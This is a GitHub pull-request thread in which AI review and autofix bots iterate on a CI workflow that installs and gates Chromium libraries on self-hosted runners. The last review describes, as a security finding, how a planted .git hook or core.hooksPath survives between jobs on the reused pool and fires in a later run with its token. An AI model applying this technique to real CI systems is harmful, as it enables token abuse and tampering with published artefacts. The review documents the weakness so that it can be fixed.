| 去掉 dnf/yum 安装尝试 | 失败 | 失败 ✓ |
| 清空包列表 | 失败 | 失败 ✓ |
路由套件中新的接线钉扎断言了如下顺序：第一次扫描 → dnf 尝试 → yum 回退 → 重扫 → 门禁，且包列表先定义后使用、并点名了 Chromium 运行时包。
范围说明： 只改动了 .github/workflows/web-shell-visuals.yml 与 .github/scripts/ci-runner-routing.test.mjs —— 两者均已在本 PR 的足迹之内。无需改动 .size-baseline（增长在棘轮允许范围内）。
验证
本轮实际执行的命令（修复后，基于 commit 3363682）：
node --test .github/scripts/ci-runner-routing.test.mjs— 18 通过，0 失败（17 条既有 + 新增的供给/重扫钉扎）- 对 ci.yml HELPER_TESTS 车道全部 19 个文件执行
node --test— 411 通过，0 失败 bash .github/scripts/check-workflow-size.sh— 通过（web-shell-visuals.yml为 23462 字节，较其记录的 21284 基线增长 +2178，在 4096 字节允许范围内）- 用 stub 的
ldd/sudo/dnf对 workflow 脚本原文做行为探针 — 3/3 场景符合设计（见上表） - 变异探针：3 条变异，全部被捕获（见上表），随后树还原为绿
npm run build— 通过（退出码 0）npm run typecheck— 通过（退出码 0，日志零错误）npm run lint— 通过（退出码 0）- 未跑聚焦 Vitest / 集成测试：未改动
packages/下任何代码，且被改动的行为（workflow YAML + node:test 守卫）不经过打包 CLI 或集成测试框架执行。未改动任何设置源，因此无需重新生成 schema。 - 此处不可用的环境专属检查： 在
ecs-qwen池上真实重跑 visuals 捕获需要 GitHub Actions 本身；本无头环境没有任何凭据可以触发或查看它。推送后的 commit 上由 workflow 的独立 CI 作为池车道行为的最终验证关卡。
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。
Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。
Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。
🧠 Handled by Qwen Code · model/模型 qwen3.8-max
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed. Suggestions are inline.
Not reviewed: reverse audit stopped at round 9 of 10 — rounds 3-9 produced only members of the R1-4 unbounded family or duplicates of confirmed findings; the family is closed by the class finding, and remaining rounds would enumerate the same mutant surface.
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Deferred under the convergence posture (round 2, not a blocker) — recorded, not requested in this round:
.github/workflows/web-shell-visuals.yml:13 — [review] security-model header drops serve-ab's 'association clause is routing convenience, not a security boundary' caveat.github/workflows/web-shell-visuals.yml:88 — [review] pool lane ports only the ownership heal — no .qwen quarantine, workspace wipe, or symlink heal before checkout.github/workflows/web-shell-visuals.yml:308 — [review] 'Install ffmpeg' step existence/gate/ordering before the GIF conversion unpinned.github/workflows/web-shell-visuals.yml:125 — [review] 'Configure persistent npm cache' self-hosted gate and before-install ordering unpinned.github/scripts/ci-runner-routing.test.mjs:544 — [review] heal test pins only the chown half; the chmod line is deletable with the suite green
中文说明
仅完成部分审查，审查缺口已披露。 建议见行内评论。
未审查：reverse audit stopped at round 9 of 10 — rounds 3-9 produced only members of the R1-4 unbounded family or duplicates of confirmed findings; the family is closed by the class finding, and remaining rounds would enumerate the same mutant surface。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
收敛姿态下延后（第 2 轮，非阻断）——已记录，本轮不要求修改：共 5 条（原文未翻译，列表见上方英文部分）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // The hard failure sits BEHIND the non-empty guard — an inverted test | ||
| // would let an unresolved-library machine through to crash mid-render. | ||
| assert.match(noAptBranch, /if \[ -n "\$\{missing\}" \]; then[\s\S]*exit 1/); |
There was a problem hiding this comment.
[Suggestion] R1-4: the rewritten gate-wiring suite still pins workflow text rather than behavior — this round executed 17 single-line mutants across 13 distinct gaps, and every one ships 18/18 green; several carry runtime A/B proof of the resulting pool-lane failure. The mutant surface against text pins is unbounded, so closing it entrance-by-entrance will not converge (round 1 filed exactly this; the response was more text pins, and this round found 13 new gaps). Close it structurally: execute the non-apt branch with stubbed ldd/find/npx/sudo/dnf/yum on PATH and assert exit codes — this file already execs real shell for the pick_runner tests (runPickRunner), and R1-4 proposed exactly this in round 1.
Representative executed mutants (all 18/18 green against the committed suite):
- Final guard inverted to
-z→ an unresolved-library machine passes the gate to a mid-render crash. - Second
missing=''reset deleted → runtime A/B under GitHub's bash invocation: a successful dnf provision then exits 1 with the stale first-scan list — every pool-routed PR red with a wrong error. || truedropped from thelddassignment → runtime A/B: on a fully provisioned machine the step aborts mid-scan with no diagnostic.- Rescan moved before the yum attempt → runtime A/B: a yum-only provisionable machine exits 1 after yum fixed the libraries.
npm cimoved below the install step →npx playwrightresolves playwright@1.62.1 from the registry against the lockfile's 1.58.2 (measured) — browser-revision mismatch masked bycontinue-on-error.RUNNER_TEMP/HOME/GITHUB_WORKSPACEoverridden via step/job/workflowenv:→ the pinned commands no-op (serve-ab's wipe test pins exactly this env-shadow class at lines 352-359 of this file).- Install step moved below
after_capture, or givencontinue-on-error: true→ masked gate/empty preview. mesa-libgbmor--skip-brokendropped from the provision → provisionable machine red at the post-rescan gate.
Witness: 17 mutants executed at commit 3363682: every one # pass 18 / # fail 0; runtime A/Bs under bash --noprofile --norc -eo pipefail as itemized above.
Suggested fix: run the non-apt branch under stubs asserting exit 0 (provisioned), exit 0 after a successful provision, and exit 1 with the missing list (unprovisionable); plus the fleet-precedented completeness pins sibling tests already carry: install-before-capture + no continue-on-error on the install step (clear-step shape), npm-ci-before-install ordering, absence of job-level continue-on-error (serve-ab wipe test), the env-shadow block (serve-ab test 352-359), the heal chmod (qwen-triage-workflow.test.mjs), and the full chromium_sys_deps assignment plus both --skip-broken flags.
Acceptance: once the execution-based assertions exist, delete any one pinned guard (e.g. the second missing='' reset) and confirm the suite turns red — today that mutant passes.
中文说明
R1-4：重写后的门禁接线测试仍然钉的是工作流文本而非行为——本轮实际执行了 13 个不同缺口上的 17 个单行变异，全部 18/18 绿灯，其中多个还有池车道故障的运行时 A/B 证据（代表性变异见上：最终守卫反转为 -z、删除第二个 missing='' 重置、去掉 ldd 赋值里的 || true、rescan 挪到 yum 之前、npm ci 挪到安装步骤之下、用 env: 覆盖 RUNNER_TEMP/HOME/GITHUB_WORKSPACE、安装步骤挪到 after_capture 之下或加 continue-on-error、从供给列表删 mesa-libgbm 或删 --skip-broken）。文本钉扎的变异面是无界的，逐个入口补钉不会收敛（第 1 轮正是这样报的，回应是更多文本钉扎，本轮又发现 13 处新缺口）。请从结构上收口：用 stub 的 ldd/find/npx/sudo/dnf/yum 实际执行非 apt 分支并断言退出码——本文件已为 pick_runner 测试实际执行过真实 shell（runPickRunner），R1-4 在第 1 轮就建议了这种方式。验收标准：执行式断言就位后，删除任一被钉守卫（如第二个 missing='' 重置），套件必须变红——今天该变异通过。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| 2307 web-shell-visuals-cleanup.yml | ||
| 15380 web-shell-visuals-publish.yml | ||
| 16384 web-shell-visuals.yml | ||
| 21284 web-shell-visuals.yml |
There was a problem hiding this comment.
[Suggestion] The baseline entry this PR records is 2178 bytes below the file the same PR commits: web-shell-visuals.yml is 23462 bytes at HEAD, per-commit sizes 21284 (the bump commit) → 21921 → 23462. check-workflow-size.sh and its vitest mirror compare against recorded + 4096, so the ratchet passes today (23462 ≤ 25380) — but this PR has silently pre-consumed 2178 bytes of the allowance: the next PR growing this file by more than ~1918 bytes trips the gate and must reconcile a baseline this PR set stale — the exact 'unrelated PR pays for someone else's growth' friction the ratchet's header documents having red-walled the queue before.
Witness: git show HEAD:.github/workflows/web-shell-visuals.yml | wc -c → 23462; recorded entry 21284; the gate run against this PR tree exits 0 only because 23462 ≤ 21284+4096.
| 21284 web-shell-visuals.yml | |
| 23462 web-shell-visuals.yml |
(regenerate with wc -c < .github/workflows/web-shell-visuals.yml).
中文说明
本 PR 记录的基线值比同一 PR 提交的文件小 2178 字节：HEAD 处 web-shell-visuals.yml 为 23462 字节，逐提交尺寸为 21284（bump 提交）→ 21921 → 23462。check-workflow-size.sh 及其 vitest 镜像按 记录值 + 4096 比较，因此今天棘轮通过（23462 ≤ 25380）——但本 PR 已悄悄预支了 2178 字节额度：下一个把该文件再增大 ~1918 字节以上的 PR 会触发门禁，并被迫对齐一个被本 PR 设成过期值的基线——正是棘轮头部注释记载的'无关 PR 为别人的增长买单'摩擦。修复：把记录值更新为实际尺寸 23462 web-shell-visuals.yml。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| echo "::warning::could not install Chromium system dependencies; the library gate lists what still fails to resolve." | ||
| missing='' | ||
| while IFS= read -r bin; do |
There was a problem hiding this comment.
[Suggestion] This 7-line ldd/find scan loop is pasted twice in the step (first scan and rescan), and nothing asserts the copies stay identical — the suite pins the first copy's body and locates the rescan only by its find prefix, which survives any change to the loop body. Executed mutant narrowing the rescan to -name 'headless_shell' only: suite 18/18 green, and at runtime under GitHub's bash invocation the gate prints Chromium shared libraries all resolve on this runner. and exits 0 on a machine whose chrome libraries do not resolve — the mid-render crash this gate exists to prevent. The first-scan direction is symmetric (narrower first scan → provisioning skipped on a provisionable machine).
Suggested fix: define the scan once as a shell function in this same run: block and call it for both scans (one function, two call sites — proportionate for a workflow script); or, at minimum, assert the two loop bodies are identical in the routing suite.
Acceptance: with an equivalence assertion in place, narrow either copy's -name pattern without the other and confirm the suite turns red — today that mutant passes.
中文说明
这个 7 行 ldd/find 扫描循环在该步骤中被粘贴了两次（第一次扫描与 rescan），且没有任何断言保证两份拷贝保持一致——测试只钉住第一份循环体，并仅以 find 前缀定位 rescan（该前缀对循环体的任何改动都不敏感）。已执行变异：把 rescan 收窄为仅 -name 'headless_shell'，套件 18/18 绿灯；运行时在 GitHub 的 bash 调用下，门禁会在 chrome 库未解析的机器上打印 'Chromium shared libraries all resolve on this runner.' 并以 0 退出——正是该门禁要防止的渲染中途崩溃。第一次扫描方向对称（更窄的第一次扫描 → 可供给机器上跳过供给）。修复：在同一 run: 块中把扫描定义为一次 shell 函数、两处调用（对工作流脚本而言并不过度）；至少也应在路由套件中断言两个循环体完全相同。验收标准：等价断言就位后，单独收窄任一拷贝的 -name 模式，套件必须变红——今天该变异通过。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
🤖 Addressed the latest review feedback (round 3/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 3/100 轮）。改动内容与我反驳保留之处如下： Autofix review response — round on PR #10087All three inline findings were reproduced with probes first, then resolved in code. No finding was declined or deferred; no maintainer decision is pending. The five items listed under "Deferred under the convergence posture" in the review body were left untouched, as the review explicitly records them as not requested this round. Findings and dispositions[rc:3866537969] R1-4: the gate-wiring suite pins workflow text, not behavior — ACT (structural fix).
Because the harness execs the whole branch, it behaviorally covers what many text pins chased: inverted gate, missing resets, [rc:3866537980] size-baseline entry 2178 bytes below the committed file — ACT. [rc:3866538003] the 7-line ldd/find scan loop pasted twice with no equivalence guard — ACT. Mutation probes (witnesses for every guard this round adds)Each mutant was applied, the suite run, then the file restored and re-run green:
After every restore: suite 20/20 green, size gate exit 0. Changes
No conflict resolution was needed ( VerificationCommands actually run this round, in order:
中文说明Autofix 审查回应 — PR #10087 本轮三条行内发现全部先用探针复现，然后在代码中解决。没有拒绝或推迟任何发现；没有等待维护者决策的事项。审查正文中列在"收敛姿态下延后"的五条未做改动，因为审查已明确记录它们本轮不要求修改。 发现与处置[rc:3866537969] R1-4：门禁接线测试钉的是工作流文本而非行为 — 处理（结构性修复）。
由于测试台实际执行整个分支，它以行为覆盖了许多文本钉扎追逐的东西：守卫反转为 [rc:3866537980] size-baseline 记录值比已提交文件小 2178 字节 — 处理。 [rc:3866538003] 7 行 ldd/find 扫描循环被粘贴两次且无等价守卫 — 处理。 变异探针（本轮新增每个守卫的见证）对每个变异：应用变异 → 运行套件 → 恢复文件 → 再次运行至绿：
每次恢复后：套件 20/20 全绿，尺寸门禁退出 0。 变更内容
无需冲突解决（ 验证本轮实际运行的命令，按顺序：
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
|
Qwen Code review did not complete successfully. The review pipeline failed before a review could be posted. A transient error is retried automatically; if you are seeing this, retry with |
|
🔀 Base updated: red check(s) [review-pr] pass on current main — merged current main via update-branch; CI will re-run. 中文说明🔀 已更新 base：红色检查 [review-pr] 在当前 main 上通过 —— 已通过 update-branch 合入当前 main，CI 将重新运行。 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
3 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- R3-7 header drops serve-ab's 'association clause is routing convenience' caveat — already reported (round-2 deferred list, review 5034865117)
- R3-8 'Install ffmpeg' step unpinned — already reported (round-2 deferred list, review 5034865117)
- R3-9 'Configure persistent npm cache' step unpinned — already reported (round-2 deferred list, review 5034865117)
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Deferred under the convergence posture (round 3, not a blocker) — recorded, not requested in this round:
.github/workflows/web-shell-visuals.yml:88 — [review] pool pre-flight blocks pasted from ci.yml/serve-ab with no….github/workflows/web-shell-visuals.yml:177 — [review] dnf/yum provisioning discards all output; gate failure…
Convergence: round 3 posted 3 inline comment(s), 3 of them reported for the first time; the previous round posted 3 (2 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 2; 2 more now); .github/scripts/ci-runner-routing.test.mjs (findings in round 1; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
本轮确认的 3 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
收敛姿态下延后（第 3 轮，非阻断）——已记录，本轮不要求修改：共 2 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 3 轮发布了 3 条行内评论，其中 3 条是首次提出；上一轮发布了 3 条（其中 2 条首次提出）。发现反复回到同一批文件：.github/workflows/web-shell-visuals.yml（第 2 轮已出过发现，本轮又有 2 条）；.github/scripts/ci-runner-routing.test.mjs（第 1 轮已出过发现，本轮又有 1 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，或将本 PR 的评审降到 --severity-floor critical，可以避免循环反复推导同一组发现。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if command -v apt-get > /dev/null 2>&1; then | ||
| npx playwright install --with-deps chromium |
There was a problem hiding this comment.
[Critical] The command -v apt-get lane probe assumes the ecs-qwen pool is uniformly RHEL-family, but the pool also has Ubuntu 24.04 members that ship /usr/bin/apt-get while granting NOPASSWD sudo for only two npm/rm commands (sudo -n -l verified on a live pool member). Those members take the --with-deps branch, whose internal sudo apt-get dies asking for a password, and the dnf/yum provisioning + ldd gate lane this PR built is unreachable on the failing path. This is not hypothetical: this PR's own CI run at the reviewed HEAD fails right here — run 33022864520 (head 2589f04b, self-hosted lane) died in this step, while sibling run 32991331989 on the same lane succeeded — dispatch-dependent red that takes trusted-lane previews down intermittently, with no degraded path and no provisioning annotation.
PR run 33022864520 @2589f04b (self-hosted lane), step 'Install Playwright Chromium':
Switching to root user to install dependencies...
sudo: a terminal is required to read the password...
sudo: a password is required
Failed to install browsers
##[error]Process completed with exit code 1.
sibling run 32991331989 on the same lane: success
Probe of the real step text (stubbed npx/sudo/apt-get, self-hosted, password-gated sudo, libs resolvable): unmodified step exits 1 with ["npx playwright install --with-deps chromium", "sudo apt-get install -y libnss3"]; with the hosted-gated fix below it exits 0 via npx playwright install chromium + "Chromium shared libraries all resolve on this runner."
Keep --with-deps for the hosted lane only (it has passwordless sudo), run every self-hosted member through the browser-only install + scan_chromium_libs gate regardless of distro, and add a Debian arm to the best-effort provisioning chain ahead of dnf/yum:
if [ "${RUNNER_ENVIRONMENT}" = "github-hosted" ] && command -v apt-get > /dev/null 2>&1; then
npx playwright install --with-deps chromium
else
# ... existing non-apt lane, with a Debian provisioning arm added:
# sudo -n apt-get install -y libnss3 libnspr4 libatk1.0-0 libatk-bridge2.0-0 \
# libcups2 libdbus-1-3 libexpat1 libglib2.0-0 libx11-6 libxcomposite1 \
# libxdamage1 libxext6 libxfixes3 libxrandr2 libdrm2 libxcb1 libxkbcommon0 \
# libgbm1 libasound2 libpango-1.0-0 libcairo2 ||
# sudo -n dnf install ... || sudo -n yum install ... || echo "::warning::..."
fiFix witness: a Debian-family pool machine state in runInstallStep (apt-get stub present, RUNNER_ENVIRONMENT=self-hosted, resolvable libs) asserting exit 0 and no --with-deps call — removing the lane split must turn it red.
中文说明
command -v apt-get 车道探针假定 ecs-qwen 池全部是 RHEL 系，但池中也有 Ubuntu 24.04 成员：自带 /usr/bin/apt-get，而 NOPASSWD sudo 仅授予两条 npm/rm 命令（已在存活池成员上用 sudo -n -l 验证）。这些成员会走入 --with-deps 分支，其内部的 sudo apt-get 因索要密码而失败，且本 PR 构建的 dnf/yum 供给 + ldd 门禁车道在失败路径上不可达。这并非假想：本 PR 自己在受审 HEAD 上的 CI 运行正是在此失败——运行 33022864520（head 2589f04b，自持车道）死于该步骤，而同车道的兄弟运行 32991331989 成功——依赖派发的间歇性红，可信车道的预览随之时有时无，且无降级路径、无供给注解。建议：--with-deps 仅保留给托管车道（其有无密码 sudo），所有自持成员无论发行版一律走仅下载浏览器 + scan_chromium_libs 门禁，并在 dnf/yum 之前补一条 Debian 系的尽力供给臂。修复见证：在 runInstallStep 中新增 Debian 系池机器状态（apt-get stub、RUNNER_ENVIRONMENT=self-hosted、库可解析），断言退出码 0 且无 --with-deps 调用；去掉车道拆分该测试必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| if [ -n "${unresolved}" ]; then | ||
| missing="${missing}${unresolved}"$'\n' | ||
| fi | ||
| done < <(find "${HOME}/.cache/ms-playwright" -type f \( -name 'headless_shell' -o -name 'chrome' \) 2>/dev/null) |
There was a problem hiding this comment.
[Suggestion] The library gate decides on missing alone, so a scan that matches zero binaries passes vacuously: when find over ${HOME}/.cache/ms-playwright yields nothing (a machine-level PLAYWRIGHT_BROWSERS_PATH redirect, or a Playwright revision renaming chrome/headless_shell), missing stays empty and the step exits 0 printing "Chromium shared libraries all resolve on this runner." having checked zero libraries. Proven by executing this very step: with the install stubbed to exit 0 and an empty browser tree the gate prints the success line and exits 0; the render then dies later at browser launch, and after_capture's continue-on-error: true converts it into a degraded "render incomplete" preview behind a misleading "libs resolve" log — losing exactly the early, actionable provisioning signal the gate exists to provide. The fleet already rejects this shape elsewhere (qwen-triage.yml's Playwright check requires both halves for exactly this reason).
# count what the scan examines and refuse to judge nothing:
scanned=$((scanned + 1)) # inside the while loop of scan_chromium_libs
# ...and after each scan, before the success echo:
if [ "${scanned:-0}" -eq 0 ]; then
echo "::error::no Chromium binaries found under ${HOME}/.cache/ms-playwright — install location moved?"
exit 1
fiFix witness: a runInstallStep machine state with no browser files under the fake HOME asserting exit 1 and the zero-binaries error — removing the guard returns it to exit 0.
中文说明
库门禁只根据 missing 裁决，因此零二进制的扫描会空泛通过：当 find 在 ${HOME}/.cache/ms-playwright 下什么都没找到时（机器级 PLAYWRIGHT_BROWSERS_PATH 重定向，或 Playwright 版本重命名 chrome/headless_shell），missing 保持为空，步骤以 "Chromium shared libraries all resolve on this runner." 退出 0——实际一个库都没检查。已对该步骤原文实际执行验证：安装 stub 退出 0 且浏览器目录为空时，门禁打印成功行并退出 0；渲染随后在浏览器启动时死亡，after_capture 的 continue-on-error: true 把它降级为 "render incomplete" 的残缺预览，日志里还留着误导性的 "libs resolve"——恰好丢掉了门禁本要提供的早期、可操作的供给信号。建议：在 scan_chromium_libs 循环内计数 scanned，扫描数为 0 时在成功回显前 exit 1 并给出 ::error::。修复见证：新增无浏览器文件的 runInstallStep 机器状态，断言退出码 1 与零二进制错误；去掉该守卫其必须回到退出 0。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // clear, GITHUB_WORKSPACE the heal, PATH/BASH_ENV re-resolve (or | ||
| // pre-load) every command. | ||
| for (const envMap of [ | ||
| steps[install].env, |
There was a problem hiding this comment.
[Suggestion] R1-4: (fix-induced) the env-override loop the round-2 fix (e7e28e1) added claims in its own comment to pin HOME (the library scan), RUNNER_TEMP ("the stale clear") and GITHUB_WORKSPACE ("the heal") — but the step-level leg inspects only the install step's env map. The 'Clear stale capture dirs' and 'Restore workspace ownership' steps' own env maps are never checked, so the mutation "add env: {RUNNER_TEMP: '/somewhere/else'} to the clear step" — redirecting the very rm -rf the comment says RUNNER_TEMP pins — ships 20/20 green (executed). The sibling precedent does check the pinned step itself: the serve-ab wipe test iterates [wipe.env, serveAbDoc.jobs.ab.env, serveAbDoc.env].
Folded sibling of the same family (also executed): the stub ldd reports missing libs only for paths matching *chrome*, while the fixture's headless_shell sits under chromium-1187/ (no chrome substring) — so deleting -o -name 'headless_shell' from the workflow's find ships the suite green; that arm is pinned by nothing.
for (const envMap of [
steps[install].env,
steps[clear].env, // locate 'Clear stale capture dirs' by index, as sibling tests do
steps[heal].env, // locate 'Restore workspace ownership' the same way
visualsCaptureJob.env,
visualsDoc.env,
]) {and make the stub ldd report a distinct missing lib for *headless_shell* paths, asserting both names appear in the unprovisionable machine's missing list.
Fix witness: after the fix, adding env: {RUNNER_TEMP: x} to the clear step (or GITHUB_WORKSPACE to the heal step) in web-shell-visuals.yml must turn this test red, and dropping the headless_shell arm from the workflow find must turn the strengthened unprovisionable assertion red.
中文说明
R1-4：（修复引入）第 2 轮修复（e7e28e12）新增的 env 覆盖循环，其注释自称钉扎 HOME（库扫描）、RUNNER_TEMP（"the stale clear"）与 GITHUB_WORKSPACE（"the heal"）——但步骤级检查只看 install 步骤的 env 映射。'Clear stale capture dirs' 与 'Restore workspace ownership' 两步自身的 env 映射从未被检查，因此变异"给 clear 步骤加 env: {RUNNER_TEMP: '/somewhere/else'}"——正是重定向注释所称由 RUNNER_TEMP 钉扎的那条 rm -rf——实际执行后 20/20 全绿。同文件的先例检查的是被钉扎步骤本身：serve-ab wipe 测试遍历 [wipe.env, serveAbDoc.jobs.ab.env, serveAbDoc.env]。同族的另一折叠成员（亦已执行）：stub ldd 仅对匹配 *chrome* 的路径报告缺库，而夹具的 headless_shell 位于 chromium-1187/（不含 chrome 子串）——删除 workflow find 中的 -o -name 'headless_shell' 臂后套件依旧全绿，该臂没有任何钉扎。修复：把 clear/heal 两步的 env 映射并入循环，并让 stub ldd 对 *headless_shell* 路径报告一个不同的缺失库名。修复见证：修复后，给 clear 步骤加 env: {RUNNER_TEMP: x}（或给 heal 步骤加 GITHUB_WORKSPACE）必须令本测试变红；删除 workflow find 的 headless_shell 臂必须令强化后的不可供给断言变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
…capture-ecs # Conflicts: # .github/scripts/ci-runner-routing.test.mjs
|
@qwen-code /resolve |
…#10087) The pool is not uniformly RHEL-family: its Ubuntu members ship /usr/bin/apt-get while their NOPASSWD sudo is allowlisted to two npm/rm commands, so the bare `command -v apt-get` probe sent them into the --with-deps branch and its internal sudo apt-get died on the password prompt. Run 33022864520 failed exactly there while a sibling run on the same lane succeeded — dispatch-dependent red with no degraded path. Keep --with-deps for the hosted lane only (RUNNER_ENVIRONMENT gates it, hosted images grant passwordless sudo), run every pool member through the download-only lane regardless of distro, and lead the best-effort provisioning chain with an apt-get arm for the Debian-family members ahead of dnf/yum. Also refuse a vacuous gate: the library check judged `missing` alone, so a scan that matched zero binaries (a machine-level PLAYWRIGHT_BROWSERS_PATH redirect, or a Playwright revision renaming chrome/headless_shell) exited 0 with "all resolve" having checked nothing, postponing the crash to browser launch behind after_capture's continue-on-error. Count what the scan examines and fail with an ::error:: when it examined nothing. The routing suite exec-tests both: a Debian-family pool member (apt-get stub, RUNNER_ENVIRONMENT=self-hosted, resolvable libs) passes without ever taking --with-deps; a Debian machine with missing libs is fixed through the apt arm before dnf/yum; an empty browser tree fails the gate. The env-override loop now reads the clear/heal steps' own env maps — a step-level RUNNER_TEMP override on the clear step used to ship green — and the stub ldd reports a distinct missing lib for headless_shell paths so the find's headless_shell arm is pinned. Seven executed mutations (reverting the lane split, dropping the apt arm, dropping the zero-binary guard, step-level RUNNER_TEMP/GITHUB_WORKSPACE overrides, dropping the headless_shell arm, inverting the gate) all turn the suite red; restoring them returns it to green.
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
2 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- R5-6 ffmpeg comment re-asserts the disproved uniform-RHEL premise — already reported (round-4 deferred list, review 5037369574)
- R5-7 Chromium provisioning chain discards stdout and stderr — already reported (round-3 deferred list, review 5036270908)
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Deferred under the convergence posture (round 5, not a blocker) — recorded, not requested in this round:
.github/workflows/web-shell-visuals.yml:92 — [review] Ownership-heal block pasted as 15th copy.github/workflows/web-shell-visuals.yml:129 — [review] npm-cache copy drops the trailing du -sh diagnostic.github/scripts/ci-runner-routing.test.mjs:874 — [probe] Env-override pin list omits RUNNER_ENVIRONMENT
Convergence: round 5 posted 2 inline comment(s), 2 of them reported for the first time; the previous round posted 1 (1 new). Findings keep coming back to the same files: .github/scripts/ci-runner-routing.test.mjs (findings in round 4; 1 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push, or dropping this PR's reviews to --severity-floor critical, keeps the loop from re-deriving the same set. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
本轮确认的 2 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
收敛姿态下延后（第 5 轮，非阻断）——已记录，本轮不要求修改：共 3 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 5 轮发布了 2 条行内评论，其中 2 条是首次提出；上一轮发布了 1 条（其中 1 条首次提出）。发现反复回到同一批文件：.github/scripts/ci-runner-routing.test.mjs（第 4 轮已出过发现，本轮又有 1 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，或将本 PR 的评审降到 --severity-floor critical，可以避免循环反复推导同一组发现。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.2)
| - name: 'Restore workspace ownership' | ||
| if: "${{ runner.environment == 'self-hosted' }}" |
There was a problem hiding this comment.
[Critical] The capture job is now routed onto the persistent pool, but it only inherits part of the fleet's pre-checkout hygiene: it ports serve-ab.yml's ownership heal while omitting its 'Wipe stale workspace except the shared .git before checkout' step. On the pool the per-repo workspace outlives a run (the heal's own comment relies on that), so the surviving .git keeps its exec knobs — hooks, core.hooksPath, a symlinked root — and nothing in this job removes them. A previous job whose code ran on this machine — including an approved fork PR, since pull_request executes the fork's YAML and this workflow's paths filter admits a workflow-only PR that rewrites runs-on onto the pool labels — can plant .git/hooks/post-checkout or core.hooksPath in .git/config. The heal only chowns/chmods; actions/checkout reuses the .git, and its fetch/checkout --force never touches .git/, so the planted knob fires inside a run it does not belong to, with that run's GITHUB_TOKEN — and can tamper with the screenshots the privileged publish workflow posts onto the PR. Executed against real git: a planted executable hook and a planted core.hooksPath both survived git clean -ffdx + git reset --hard and fired during the victim job's checkout; adding serve-ab's defang lines silenced both — exactly the step this diff omits:
hook-no-wipe: HOOK FIRED in victim job -> post-checkout ran
hook-with-defang: hook silent
hooksPath-no-wipe: HOOK FIRED in victim job -> hooksPath hook ran
hooksPath-defang: hook silent
Port serve-ab.yml's 'Wipe stale workspace except the shared .git before checkout' step between 'Restore workspace ownership' and 'Checkout PR head' (symlink/non-directory root heal, realpath canonicalization + path allowlist guards, a wipe that keeps only .git, rm -rf of .git/hooks and .git/info/attributes, config.worktree removal, and the allowlist config scrub). Fix witness: add the visuals analogue of serve-ab's pinned test 'wipes the reused workspace except the shared root .git before checking out PR code' to the new capture-routing describe — removing or demoting the wipe step must turn it red (mutate, run, confirm).
中文说明
